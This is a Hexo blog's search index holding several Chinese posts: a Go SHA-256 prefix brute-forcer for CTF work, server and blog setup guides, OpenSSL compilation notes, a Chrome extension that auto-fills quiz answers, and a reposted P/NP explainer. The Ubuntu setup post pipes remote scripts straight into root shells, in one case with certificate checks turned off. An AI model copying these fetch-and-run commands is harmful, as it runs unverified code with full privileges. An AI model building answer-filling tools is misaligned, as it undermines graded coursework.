-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
191 lines (191 loc) · 61.7 KB
/
search.xml
File metadata and controls
191 lines (191 loc) · 61.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[Go语言爆破Sha256前四字符]]></title>
<url>%2Fsha256-go%2F</url>
<content type="text"><![CDATA[做 CTF 时需要求 sha256 原字符串的前四位,最近正好在学 golang ,就打算用 golang 实现一下。期间总觉得 golang 应该更快,就开始优化代码,从 9.5 秒优化到了 1.5 秒。 sha256(XXXX+DEHNCHyUEO8kVZBT) == 3354de5346a962dd0f344de80cd3c8e5c2d3ce1a18437141b6a645df9b357c91 代码地址: https://github.com/hydewww/sha256-go 下面的代码为了测试性能,都没有在算出结果后就结束程序。 easy第一版代码如下。sha256参考: https://godoc.org/crypto/sha256 1234567891011121314151617181920212223242526272829// easyvar ( chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789" // A-Z a-z 0-9 tail = "DEHNCHyUEO8kVZBT" // 原字符串的尾部 result = "3354de5346a962dd0f344de80cd3c8e5c2d3ce1a18437141b6a645df9b357c91" // hash值)func sha(head string) { h := sha256.New() h.Write([]byte(head + tail)) str := fmt.Sprintf("%x", h.Sum(nil)) if str == result { fmt.Println(head) }}func main() { start := time.Now() for _, ch1 := range chars { for _, ch2 := range chars { for _, ch3 := range chars { for _, ch4 := range chars { sha(string(ch1) + string(ch2) + string(ch3) + string(ch4)) } } } } end := time.Since(start) fmt.Println(end)} 运行时间 9.5 秒 goroutine 并发因为第一版对比 python 没有明显性能优势,因此尝试用 goroutine 并发执行。WaitGroup参考:https://golang.org/pkg/sync/#example_WaitGroup 12345678910111213141516171819202122// ez_goroutinevar wg sync.WaitGroupfunc sha(...) { ... wg.Done() // 完成任务}func main () { ... for ... { for ... { for ... { for ... { wg.Add(1) // 新增1个任务 go sha(...) // 新建goroutine执行sha } } } } wg.Wait() // 阻塞,等待所有任务执行完成 ...} 运行时间 7.1 秒 string -> byte感觉还是不够快,于是开始做性能测试。 在单线程代码的基础上测量 sha256 以外的运算所使用的时间 123456789101112// test/nohashfunc sha(head string) { var hash = []byte(head + tail) // h := sha256.New() // h.Write([]byte(head + tail)) // hash := h.Sum(nil) str := fmt.Sprintf("%x", hash) if str == result { fmt.Println(head) }}... 运行时间 4.3 秒。由于 sha256 运算使用的都是 byte 数组,而代码输入输出中使用的都是字符串,存在很多的强制类型转换,因此占用了较长时间。下面将代码运算改为 byte 类型 12345678910111213141516171819202122232425262728// bytevar ( chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789") tail = []byte("DEHNCHyUEO8kVZBT") result, _ = hex.DecodeString("3354de5346a962dd0f344de80cd3c8e5c2d3ce1a18437141b6a645df9b357c91"))func sha(head []byte) { ... h.Write(head) h.Write(tail) // hash特性 H(s1+s2) = H(H(s1)+s2) if bytes.Equal(h.Sum(nil), result) { // byte数组比较使用 bytes.Equal() fmt.Println(string(head)) }}func main() { ... for ... { for ... { for ... { for ... { sha([]byte{ch1, ch2, ch3, ch4}) } } } } ...} 运行时间减少为 4.8 秒。 并发优化将 goroutine 代码也同上优化( byte_goroutine ),运行时间 5.9 秒 ,虽然快了 1 秒多但却比单线程慢。 猜测是 goroutine 分配使用的时间,将 sha 运算忽略进行测试。 1234567891011121314151617181920// test/goroutinefunc sha(head []byte) { wg.Done()}func main() { ... for range chars { for range chars { for range chars { for range chars { wg.Add(1) go sha([]byte{}) } } } } wg.Wait() ...} 运行时间 5.2s, 确实是 goroutine 的分配和回收占用了大量时间。 根据 cpu 核心数分配相应数量的 goroutine,才能使效率更高,如下 12345678910111213141516171819202122232425262728293031323334353637// final_goroutinefunc sha(s []byte) { for _, ch1 := range s { for _, ch2 := range chars { for _, ch3 := range chars { for _, ch4 := range chars { head := []byte{ch1, ch2, ch3, ch4} h := sha256.New() h.Write(head) h.Write(tail) if bytes.Equal(h.Sum(nil), result) { fmt.Println(string(head)) } } } } } wg.Done()}func main() { threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程) /* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */ snum := len(chars) / threads sthreads := threads*(1+snum) - len(chars) wg.Add(threads) for i := 0; i < threads; i++ { if i < sthreads { go sha(chars[snum*i : snum*(i+1)]) } else { base := snum * sthreads go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)]) } } wg.Wait()} 运行时间 1.5 秒 ,舒服了! 想到一开始的 goroutine 运行时间长应该不完全是因为类型转换,使用这个分配逻辑( re_goroutine )以后运行时间为 3 秒。]]></content>
<categories>
<category>Coding</category>
</categories>
<tags>
<tag>golang</tag>
<tag>sha256</tag>
<tag>goroutine</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Hexo NexT 博客搭建]]></title>
<url>%2FHexo-NexT%2F</url>
<content type="text"><![CDATA[博客被自己搞崩了,重搭顺便记录一下过程。 Hexo 是一个基于Node.js的博客框架,文章使用Markdown语法,很容易就能部署到GitHub Pages、Coding Pages上。 NexT 是Hexo颇受欢迎的一个主题,即本博客所使用的主题,更多主题请看此页面。 安装配置初始化 安装 Node.js 和 Yarn ,Mac 可以通过 brew install yarn 同时安装 下载稳定版 NexT 初始化 hexo 12345yarn global add hexo-clicd <where_u_want>hexo init <blog_folder_name>cd <blog_folder_name>yarn install 安装其他依赖 ( Git、RSS、本地搜索) 1yarn add hexo-deployer-git hexo-generator-feed hexo-generator-searchdb hexo-generator-sitemap 目录结构这里使用 NexT 的命名方式,将站点根目录下的 _config.yml 文件称作 站点配置文件 ,将主题目录下的 _config.yml 文件称作 主题配置文件。 将下载的 NexT 主题文件复制至如下位置并重命名。 12345678910111213.├── _config.yml # 站点配置文件├── public # 静态文件目录├── source # 博客文件| ├── _posts # 文章| ├── _drafts # 草稿 默认不渲染|. └── categories # 分类| | └── index.md├── themes # 主题| ├── next # 主题名| | ├── _config.yml # 主题配置文件| | └── ...└── ... 分类、标签页面在 source 下创建 categories 目录,在其中创建 index.md 123456---title: Categoriesdate: 2019/5/21 00:00:00type: "categories"comments: false --- 在 source 下创建 tags 目录,在其中创建 index.md 123456---title: Tagsdate: 2019/5/21 00:00:00type: "tags"comments: false --- 站点配置文件仅列出修改条目 123456789101112131415161718192021222324252627282930# hexo: 3.8.0# Sitetitle: Throns All The Way # 博客名author: hydewww # 作者名language: zh-CN # 这里NexT用zh-Hans会显示他国语言# URLurl: www.hydewww.cn # 网站地址 需绑定域名permalink: :title/ # 文章url格式 (/20180514/hexo-next/)# Directoryskip_render: aaa/bbb # 不渲染source/aaa/bbb文件,可使用通配符*# Extensionstheme: next # 改变主题# Deploymentdeploy: type: git repo: github: https://github.com/hydewww/hydewww.github.io.git coding: https://git.dev.tencent.com/hydewww/blog.git# 内容搜索search: path: search.xml field: post format: html limit: 1000 主题配置文件主题许多位置可自定义 icon 图标,可参考 https://fontawesome.com/v4.7.0/icons/ 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091# NexT: 7.1.1# 网站图标 存放路径 themes/next/source/imagesfavicon: ... # 页脚footer: since: 2015 icon: name: heart animated: true color: "#ff0000" powered: # 显示 Powered by Hexo enable: false theme: # 显示 Theme - NexT enable: false# 版权声明creative_commons: license: by-nc-sa sidebar: true # 侧边栏显示 post: true # 文章末尾显示# 右上角显示github地址github_banner: enable: true permalink: https://github.com/hydewwwseo: true# 菜单栏menu: home: / || home categories: /categories/ || th archives: /archives/ || archive Leetcode: /algorithm/ || code# 菜单栏设置menu_settings: badges: true # 显示数目# NexT主题scheme: Mist# 侧边栏社交链接social: GitHub: https://github.com/hydewww || github Leetcode: https://www.hydewww.cn/algorithm || code E-Mail: mailto:hydewwwww@gmail.com || envelope# 侧边栏头像avatar: url: /uploads/avatar.jpg # source/... rounded: true# 侧边栏sidebar: position: right # 显示位置 display: always # 始终显示# 存储阅读位置save_scroll: true# 代码框codeblock: border_radius: 5 # 代码框半径 copy_button: enable: true # 显示复制按钮 show_result: true # 显示复制结果# 文末公众号二维码wechat_subscriber: enable: true qcode: /uploads/qrcode.jpg # source/... description: 有没有兴趣关注一下公众号鸭# 代码高亮主题highlight_theme: night eightiestagcloud: enable: true# 内容搜索local_search: enable: true top_n_per_article: 3 # 显示每篇文章前3项# 动画motion: async: true # 直观表现为所有模块同时运动,显示速度快 域名绑定将域名 www.hydewww.cn 绑定至博客,需在 /source/ 下新建文件 CNAME ,内容如下 1www.hydewww.cn 同时需要在域名解析服务中创建规则。 Markdown拓展写作工具推荐使用Typora Front-matter在文章开头添加 1234567---title: Hexo NexT 博客搭建date: 2018/5/14 00:00:00updated: 2019/5/21 00:00:00categories: Misctags: [hexo, next]--- 摘录在文章某处添加 <!--more--> ,博客首页就只会摘录这之前的内容进行显示。 Hexo 命令命令可使用 --debug 显示调试信息 命令 含义 hexo s [--drafts] 本地测试,—drafts 渲染 _drafts 目录中的草稿 hexo clean 清除缓存和静态文件 hexo g [-w] 生成静态文件,-w 参数监视文件变动 hexo d 部署网站,需要先生成静态文件]]></content>
<categories>
<category>Service</category>
</categories>
<tags>
<tag>hexo</tag>
<tag>next</tag>
<tag>github pages</tag>
<tag>coding pages</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Ubuntu18 初始化]]></title>
<url>%2Fubuntu18_init%2F</url>
<content type="text"><![CDATA[偷懒用 Mirror改至清华源 apt/etc/apt/sources.list 1234deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse 1234sudo bash -c 'echo "deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse" > /etc/apt/sources.list' pip12pip install pip -Upip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple *homebrew12345678cd "$(brew --repo)"git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.gitcd "$(brew --repo)/Library/Taps/homebrew/homebrew-core"git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.gitbrew updateecho 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles' >> ~/.zsh_profilesource ~/.zsh_profile Softwareoh my zsh1234sudo apt updatesudo apt install -y zshchsh -s /usr/bin/zshsh -c "$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" V2Ray1bash <(curl -L -s https://install.direct/go.sh) Othersfrp : https://github.com/fatedier/frp/releases Bash 1sudo bash -c "$(wget https://www.hydewww.cn/uploads/ubuntu.sh -O -)" 12345678910111213141516171819202122232425#!/bin/bashif [ $(id -u) != "0" ]; then echo " Use sudo!" exit 1fisudo cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtimesudo bash -c 'echo "deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse" > /etc/apt/sources.list'sudo apt updatesudo apt install -y zsh wget curl gitpip install -U pippip config set global.index-url wget --no-check-certificate "https://github.com/teddysun/across/raw/master/bbr.sh"chmod +x bbr.shsudo ./bbr.shchsh -s /usr/bin/zshsh -c "$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)"]]></content>
<categories>
<category>Service</category>
</categories>
<tags>
<tag>ubuntu18</tag>
<tag>换源</tag>
</tags>
</entry>
<entry>
<title><![CDATA[flask+uwsgi+nginx+supervisor]]></title>
<url>%2Fflask_deploy%2F</url>
<content type="text"><![CDATA[flask自带的服务器不够稳定,作为生产服还是要用uwsgi+nginx+supervisor。 环境12apt install -y supervisor nginxpip install requests flask flask-bootstrap flask-script flask-sqlalchemy flask-wtf flask-login uwsgi uwsgi12345678# test_uwsgi.ini[test]socket = 127.0.0.1:xxxxchdir = ... # 网站根目录wsgi-file = manage.pycallable = appprocesses = 2enable-threads = true nginx123456789101112# test_nginx.confserver { listen 80; server_name ...; location / { include uwsgi_params; uwsgi_pass 127.0.0.1:xxxx; # 与uwsgi相同端口 uwsgi_param UWSGI_CHDIR ...; # 网站根目录 uwsgi_param UWSGI_SCRIPT manage:app; # 与uwsgi相同 文件:应用 }} supervisor12345678# test_super.conf[program:xss]command=/usr/local/bin/uwsgi .../test_uwsgi.ini # uswgi文件路径directory=... # 网站根目录user=root # 运行用户autostart=trueautorestart=truestdout_logfile=.../test.log]]></content>
<categories>
<category>Service</category>
</categories>
<tags>
<tag>flask</tag>
<tag>uwsgi</tag>
<tag>supervisor</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Nginx配置]]></title>
<url>%2Fnginx_conf%2F</url>
<content type="text"><![CDATA[这学期用 Nginx 搭了很多 web 服务,整理下nginx的一些配置方法 _(:з」∠)_ 默认nginx默认路径/etc/nginx/ sites-available / sites-enabledavailable文件夹存放已设置好的配置文件,enabled则存放启用的配置文件,可通过link命令建立软链接启用(类似快捷方式)。 1ln -s sites-available/a sites-enabled/a 配置12345678910server { listen 80; # 监听ipv4 listen [::]:80; # 监听ipv6 server_name ...; # 域名 location / # 即域名根目录,若是/web则是.com/web/ { }} 通过设置不同的server_name,即可实现一台主机配置多个站点,且不用通过端口访问。 配置可分为多个文件,也可以放在一个文件里。配置好后,执行如下命令进行重启: 1systemctl restart nginx 直接转发12345678server { listen 80; server_name ...; location / { proxy_pass http://127.0.0.1:xxxx }} PHP12345678910111213141516171819server { listen 80; server_name ...; root ...; # 网站根目录 location / { # 默认主页 index index.php index.html index.htm; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } FLASK1234567891011server { listen 80; server_name ...; location / { include uwsgi_params; uwsgi_pass 127.0.0.1:xxxx; uwsgi_param UWSGI_CHDIR ...; # 网站根目录 uwsgi_param UWSGI_SCRIPT manage:app; # 文件:应用名 }} 禁止通过ip访问官方文档中推荐设置为 123456server { listen 80 default_server; # 默认server listen [::]:80 default_server; server_name _; return 444;} 若不增加server_name _,则会影响其它server的域名访问功能。]]></content>
<categories>
<category>Service</category>
</categories>
<tags>
<tag>Nginx</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Win10 VS2017 下编译 openssl]]></title>
<url>%2Fopenssl-win10%2F</url>
<content type="text"><![CDATA[实验需要用到openssl,然而下载的库无法直接使用,经查编译版本不同无法兼容。自己编译过程中由于网上资料过时,踩了些坑,记录一下操作过程。 环境win10 VS2017 openssl 1.0.2m ActivePerl 5.26 编译打开vs2017自带的命令行 (安装目录\Microsoft Visual Studio\2017\ Edition\VC) 1234567cd 路径\openssl-1.0.2mperl Configure VC-WIN64A no-asmms\do_win64a.batnmake -f ms\nt.mak # 静态编译(nmake -f ms\ntdll.mak # 动态编译)nmake -f ms\nt.mak test # 测试 通过显示 passed all testsnmake -f ms\nt.mak install # 安装 虽然通过64位编译,不过在32位项目里仍然可以使用,不知原因0 0 配置项目vs2017中打开_项目_ - (项目名)属性 菜单 在 VC++目录 - 包含目录 中添加 (location)\ssl\include ,库目录中添加 (location)\ssl\lib 在 链接器 - _输入_ - 附加依赖项 中添加 libeay32.lib , ssleay32.lib 使用库12#include<openssl/ssl.h>#include<openssl/opensslv.h> 没引入opensslv.h时报错: _无法解析的符号 TLS_client_method_]]></content>
<categories>
<category>Security</category>
</categories>
<tags>
<tag>openssl</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Csiec 自动填词]]></title>
<url>%2Fcsiec%2F</url>
<content type="text"><![CDATA[每两周都要做csiec,发现单词答案就在音频的url中 ,尝试了一下用 javascript 自动填写答案。一开始实现代码在 console 中运行,最后做成 chrome 插件。 音频位置如图 代码地址: https://github.com/hydewww/CSEIC javascript1234567// csiec.jsvar forms = document.getElementsByClassName("formulation clearfix");for (var i=0;i<forms.length;i++){ var word = forms[i].getElementsByTagName("audio")[0].src.split('/')[4].split('.')[0].replace(/%20/g, " "); forms[i].getElementsByTagName("input")[1].value = word;} Note : getElementsByClassName() getElementsByTagName() getElementById() document全文搜索 js的replace()只替换第一个,用正则替换全部 js 不能直接遍历element对象 Chrome Extensionhttps://github.com/hydewww/CSEIC chrome 插件需要编写一个 manifest.json ,通过 content_scripts 中的match 对特定 url 自动执行 js 脚本。 1234567891011121314151617// manifest.json{ "name": "CSIEC自动填词", "version": "1.0.0", "manifest_version": 2, "description" : "CSIEC自动填词", "browser_action": { "default_icon" : "favicon.png", "default_title" : "CSIEC自动填词" }, "content_scripts": [ { "matches" : ["http://class.csiec.com/mod/quiz/*"], "js" : ["csiec.js"] } ]} 最后通过 chrome://extensions/ 打包为 crx 即可。]]></content>
<categories>
<category>Coding</category>
</categories>
<tags>
<tag>javascript, chrome插件</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Ubuntu18 初始化]]></title>
<url>%2FP_NP_NPC%2F</url>
<content type="text"><![CDATA[由于密码学教材中并未阐述清楚三种问题的区别,查阅资料时发现此文,讲的通俗易懂,转载过来mark一下。 原文链接:http://www.matrix67.com/blog/archives/105 什么是P问题、NP问题和NPC问题 这或许是众多OIer最大的误区之一。 你会经常看到网上出现“这怎么做,这不是NP问题吗”、“这个只有搜了,这已经被证明是NP问题了”之类的话。你要知道,大多数人此时所说的NP问题其实都是指的NPC问题。他们没有搞清楚NP问题和NPC问题的概念。NP问题并不是那种“只有搜才行”的问题,NPC问题才是。好,行了,基本上这个误解已经被澄清了。下面的内容都是在讲什么是P问题,什么是NP问题,什么是NPC问题,你如果不是很感兴趣就可以不看了。接下来你可以看到,把NP问题当成是 NPC问题是一个多大的错误。 时间复杂度 还是先用几句话简单说明一下时间复杂度。时间复杂度并不是表示一个程序解决问题需要花多少时间,而是当问题规模扩大后,程序需要的时间长度增长得有多快。也就是说,对于高速处理数据的计算机来说,处理某一个特定数据的效率不能衡量一个程序的好坏,而应该看当这个数据的规模变大到数百倍后,程序运行时间是否还是一样,或者也跟着慢了数百倍,或者变慢了数万倍。不管数据有多大,程序处理花的时间始终是那么多的,我们就说这个程序很好,具有O(1)的时间复杂度,也称常数级复杂度;数据规模变得有多大,花的时间也跟着变得有多长,这个程序的时间复杂度就是O(n),比如找n个数中的最大值;而像冒泡排序、插入排序等,数据扩大2倍,时间变慢4倍的,属于O(n^2)的复杂度。还有一些穷举类的算法,所需时间长度成几何阶数上涨,这就是O(a^n)的指数级复杂度,甚至O(n!)的阶乘级复杂度。不会存在O(2n^2)的复杂度,因为前面的那个“2”是系数,根本不会影响到整个程序的时间增长。同样地,O (n^3+n^2)的复杂度也就是O(n^3)的复杂度。因此,我们会说,一个O(0.01n^3)的程序的效率比O(100*n^2)的效率低,尽管在n很小的时候,前者优于后者,但后者时间随数据规模增长得慢,最终O(n^3)的复杂度将远远超过O(n^2)。我们也说,O(n^100)的复杂度小于O(1.01^n)的复杂度。 容易看出,前面的几类复杂度被分为两种级别,其中后者的复杂度无论如何都远远大于前者:一种是O(1),O(log(n)),O(n^a)等,我们把它叫做多项式级的复杂度,因为它的规模n出现在底数的位置;另一种是O(a^n)和O(n!)型复杂度,它是非多项式级的,其复杂度计算机往往不能承受。当我们在解决一个问题时,我们选择的算法通常都需要是多项式级的复杂度,非多项式级的复杂度需要的时间太多,往往会超时,除非是数据规模非常小。 自然地,人们会想到一个问题:会不会所有的问题都可以找到复杂度为多项式级的算法呢?很遗憾,答案是否定的。有些问题甚至根本不可能找到一个正确的算法来,这称之为“不可解问题”(Undecidable Decision Problem)。The Halting Problem就是一个著名的不可解问题,在我的Blog上有过专门的介绍和证明。再比如,输出从1到n这n个数的全排列。不管你用什么方法,你的复杂度都是阶乘级,因为你总得用阶乘级的时间打印出结果来。有人说,这样的“问题”不是一个“正规”的问题,正规的问题是让程序解决一个问题,输出一个“YES”或“NO”(这被称为判定性问题),或者一个什么什么的最优值(这被称为最优化问题)。那么,根据这个定义,我也能举出一个不大可能会有多项式级算法的问题来:Hamilton回路。问题是这样的:给你一个图,问你能否找到一条经过每个顶点一次且恰好一次(不遗漏也不重复)最后又走回来的路(满足这个条件的路径叫做Hamilton回路)。这个问题现在还没有找到多项式级的算法。事实上,这个问题就是我们后面要说的NPC问题。 P问题、NP问题 下面引入P类问题的概念:如果一个问题可以找到一个能在多项式的时间里解决它的算法,那么这个问题就属于P问题。P是英文单词多项式的第一个字母。哪些问题是P类问题呢?通常NOI和NOIP不会出不属于P类问题的题目。我们常见到的一些信息奥赛的题目都是P问题。道理很简单,一个用穷举换来的非多项式级时间的超时程序不会涵盖任何有价值的算法。 接下来引入NP问题的概念。这个就有点难理解了,或者说容易理解错误。在这里强调(回到我竭力想澄清的误区上),NP问题不是非P类问题。NP问题是指可以在多项式的时间里验证一个解的问题。NP问题的另一个定义是,可以在多项式的时间里猜出一个解的问题。比方说,我RP很好,在程序中需要枚举时,我可以一猜一个准。现在某人拿到了一个求最短路径的问题,问从起点到终点是否有一条小于100个单位长度的路线。它根据数据画好了图,但怎么也算不出来,于是来问我:你看怎么选条路走得最少?我说,我RP很好,肯定能随便给你指条很短的路出来。然后我就胡乱画了几条线,说就这条吧。那人按我指的这条把权值加起来一看,嘿,神了,路径长度98,比100小。于是答案出来了,存在比100小的路径。别人会问他这题怎么做出来的,他就可以说,因为我找到了一个比100 小的解。在这个题中,找一个解很困难,但验证一个解很容易。验证一个解只需要O(n)的时间复杂度,也就是说我可以花O(n)的时间把我猜的路径的长度加出来。那么,只要我RP好,猜得准,我一定能在多项式的时间里解决这个问题。我猜到的方案总是最优的,不满足题意的方案也不会来骗我去选它。这就是NP问题。当然有不是NP问题的问题,即你猜到了解但是没用,因为你不能在多项式的时间里去验证它。下面我要举的例子是一个经典的例子,它指出了一个目前还没有办法在多项式的时间里验证一个解的问题。很显然,前面所说的Hamilton回路是NP问题,因为验证一条路是否恰好经过了每一个顶点非常容易。但我要把问题换成这样:试问一个图中是否不存在Hamilton回路。这样问题就没法在多项式的时间里进行验证了,因为除非你试过所有的路,否则你不敢断定它“没有Hamilton回路”。 之所以要定义NP问题,是因为通常只有NP问题才可能找到多项式的算法。我们不会指望一个连多项式地验证一个解都不行的问题存在一个解决它的多项式级的算法。相信读者很快明白,信息学中的号称最困难的问题——“NP问题”,实际上是在探讨NP问题与P类问题的关系。 很显然,所有的P类问题都是NP问题。也就是说,能多项式地解决一个问题,必然能多项式地验证一个问题的解——既然正解都出来了,验证任意给定的解也只需要比较一下就可以了。关键是,人们想知道,是否所有的NP问题都是P类问题。我们可以再用集合的观点来说明。如果把所有P类问题归为一个集合P中,把所有 NP问题划进另一个集合NP中,那么,显然有P属于NP。现在,所有对NP问题的研究都集中在一个问题上,即究竟是否有P=NP?通常所谓的“NP问题”,其实就一句话:证明或推翻P=NP。 NP问题一直都是信息学的巅峰。巅峰,意即很引人注目但难以解决。在信息学研究中,这是一个耗费了很多时间和精力也没有解决的终极问题,好比物理学中的大统一和数学中的歌德巴赫猜想等。 目前为止这个问题还“啃不动”。但是,一个总的趋势、一个大方向是有的。人们普遍认为,P=NP不成立,也就是说,多数人相信,存在至少一个不可能有多项式级复杂度的算法的NP问题。人们如此坚信P≠NP是有原因的,就是在研究NP问题的过程中找出了一类非常特殊的NP问题叫做NP-完全问题,也即所谓的 NPC问题。C是英文单词“完全”的第一个字母。正是NPC问题的存在,使人们相信P≠NP。下文将花大量篇幅介绍NPC问题,你从中可以体会到NPC问题使P=NP变得多么不可思议。 约化 为了说明NPC问题,我们先引入一个概念——约化(Reducibility,有的资料上叫“归约”)。 简单地说,一个问题A可以约化为问题B的含义即是,可以用问题B的解法解决问题A,或者说,问题A可以“变成”问题B。《算法导论》上举了这么一个例子。比如说,现在有两个问题:求解一个一元一次方程和求解一个一元二次方程。那么我们说,前者可以约化为后者,意即知道如何解一个一元二次方程那么一定能解出一元一次方程。我们可以写出两个程序分别对应两个问题,那么我们能找到一个“规则”,按照这个规则把解一元一次方程程序的输入数据变一下,用在解一元二次方程的程序上,两个程序总能得到一样的结果。这个规则即是:两个方程的对应项系数不变,一元二次方程的二次项系数为0。按照这个规则把前一个问题转换成后一个问题,两个问题就等价了。同样地,我们可以说,Hamilton回路可以约化为TSP问题(Travelling Salesman Problem,旅行商问题):在Hamilton回路问题中,两点相连即这两点距离为0,两点不直接相连则令其距离为1,于是问题转化为在TSP问题中,是否存在一条长为0的路径。Hamilton回路存在当且仅当TSP问题中存在长为0的回路。 “问题A可约化为问题B”有一个重要的直观意义:B的时间复杂度高于或者等于A的时间复杂度。也就是说,问题A不比问题B难。这很容易理解。既然问题A能用问题B来解决,倘若B的时间复杂度比A的时间复杂度还低了,那A的算法就可以改进为B的算法,两者的时间复杂度还是相同。正如解一元二次方程比解一元一次方程难,因为解决前者的方法可以用来解决后者。 很显然,约化具有一项重要的性质:约化具有传递性。如果问题A可约化为问题B,问题B可约化为问题C,则问题A一定可约化为问题C。这个道理非常简单,就不必阐述了。 现在再来说一下约化的标准概念就不难理解了:如果能找到这样一个变化法则,对任意一个程序A的输入,都能按这个法则变换成程序B的输入,使两程序的输出相同,那么我们说,问题A可约化为问题B。 当然,我们所说的“可约化”是指的可“多项式地”约化(Polynomial-time Reducible),即变换输入的方法是能在多项式的时间里完成的。约化的过程只有用多项式的时间完成才有意义。 NPC问题 好了,从约化的定义中我们看到,一个问题约化为另一个问题,时间复杂度增加了,问题的应用范围也增大了。通过对某些问题的不断约化,我们能够不断寻找复杂度更高,但应用范围更广的算法来代替复杂度虽然低,但只能用于很小的一类问题的算法。再回想前面讲的P和NP问题,联想起约化的传递性,自然地,我们会想问,如果不断地约化上去,不断找到能“通吃”若干小NP问题的一个稍复杂的大NP问题,那么最后是否有可能找到一个时间复杂度最高,并且能“通吃”所有的 NP问题的这样一个超级NP问题?答案居然是肯定的。也就是说,存在这样一个NP问题,所有的NP问题都可以约化成它。换句话说,只要解决了这个问题,那么所有的NP问题都解决了。这种问题的存在难以置信,并且更加不可思议的是,这种问题不只一个,它有很多个,它是一类问题。这一类问题就是传说中的NPC 问题,也就是NP-完全问题。NPC问题的出现使整个NP问题的研究得到了飞跃式的发展。我们有理由相信,NPC问题是最复杂的问题。再次回到全文开头,我们可以看到,人们想表达一个问题不存在多项式的高效算法时应该说它“属于NPC问题”。此时,我的目的终于达到了,我已经把NP问题和NPC问题区别开了。到此为止,本文已经写了近5000字了,我佩服你还能看到这里来,同时也佩服一下自己能写到这里来。 NPC问题的定义非常简单。同时满足下面两个条件的问题就是NPC问题。首先,它得是一个NP问题;然后,所有的NP问题都可以约化到它。证明一个问题是 NPC问题也很简单。先证明它至少是一个NP问题,再证明其中一个已知的NPC问题能约化到它(由约化的传递性,则NPC问题定义的第二条也得以满足;至于第一个NPC问题是怎么来的,下文将介绍),这样就可以说它是NPC问题了。 既然所有的NP问题都能约化成NPC问题,那么只要任意一个NPC问题找到了一个多项式的算法,那么所有的NP问题都能用这个算法解决了,NP也就等于P 了。因此,给NPC找一个多项式算法太不可思议了。因此,前文才说,“正是NPC问题的存在,使人们相信P≠NP”。我们可以就此直观地理解,NPC问题目前没有多项式的有效算法,只能用指数级甚至阶乘级复杂度的搜索。 顺便讲一下NP-Hard问题。NP-Hard问题是这样一种问题,它满足NPC问题定义的第二条但不一定要满足第一条(就是说,NP-Hard问题要比 NPC问题的范围广)。NP-Hard问题同样难以找到多项式的算法,但它不列入我们的研究范围,因为它不一定是NP问题。即使NPC问题发现了多项式级的算法,NP-Hard问题有可能仍然无法得到多项式级的算法。事实上,由于NP-Hard放宽了限定条件,它将有可能比所有的NPC问题的时间复杂度更高从而更难以解决。 不要以为NPC问题是一纸空谈。NPC问题是存在的。确实有这么一个非常具体的问题属于NPC问题。下文即将介绍它。 下文即将介绍逻辑电路问题。这是第一个NPC问题。其它的NPC问题都是由这个问题约化而来的。因此,逻辑电路问题是NPC类问题的“鼻祖”。 逻辑电路问题是指的这样一个问题:给定一个逻辑电路,问是否存在一种输入使输出为True。 